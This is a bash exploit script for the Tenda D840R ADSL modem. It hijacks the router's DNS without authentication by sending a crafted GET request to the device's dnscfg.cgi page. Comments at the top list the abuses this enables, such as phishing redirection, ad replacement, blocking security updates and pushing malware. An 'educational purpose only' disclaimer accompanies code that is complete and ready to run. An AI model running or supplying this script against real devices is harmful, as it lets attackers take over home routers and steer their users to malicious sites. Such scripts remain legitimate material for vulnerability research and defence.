Tenda ADSL2/2+ Modem D840R - Unauthenticated DNS Change

#!/bin/bash # # Tenda ADSL2/2+ Modem D840R # Unauthenticated Remote DNS Change Exploit # # Copyright 2017 (c) Todor Donev <todor.donev at gmail.com> # https://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # Description: # The vulnerability exist in the web interface, which is # accessible without authentication. # # Once modified, systems use foreign DNS servers, which are # usually set up by cybercriminals. Users with vulnerable # systems or devices who try to access certain sites are # instead redirected to possibly malicious sites. # # Modifying systems' DNS settings allows cybercriminals to # perform malicious activities like: # # o Steering unknowing users to bad sites: # These sites can be phishing pages that # spoof well-known sites in order to # trick users into handing out sensitive # information. # # o Replacing ads on legitimate sites: # Visiting certain sites can serve users # with infected systems a different set # of ads from those whose systems are # not infected. # # o Controlling and redirecting network traffic: # Users of infected systems may not be granted # access to download important OS and software # updates from vendors like Microsoft and from # their respective security vendors. # # o Pushing additional malware: # Infected systems are more prone to other # malware infections (e.g., FAKEAV infection). # # Disclaimer: # This or previous programs is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use them at your own risk! # # The malicious code doesn't sleeping, he stalking.. # if [[ $# -gt 3 || $# -lt 2 ]]; then echo " Tenda ADSL2/2+ Modem D840R " echo " Unauthenticated Remote DNS Change Exploit" echo " ===================================================================" echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>" echo " Example: $0 133.7.133.7 8.8.8.8" echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4" echo "" echo " Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>" echo " https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg" exit; fi GET=`which GET 2>/dev/null` if [ $? -ne 0 ]; then echo " Error : libwww-perl not found =/" exit; fi GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1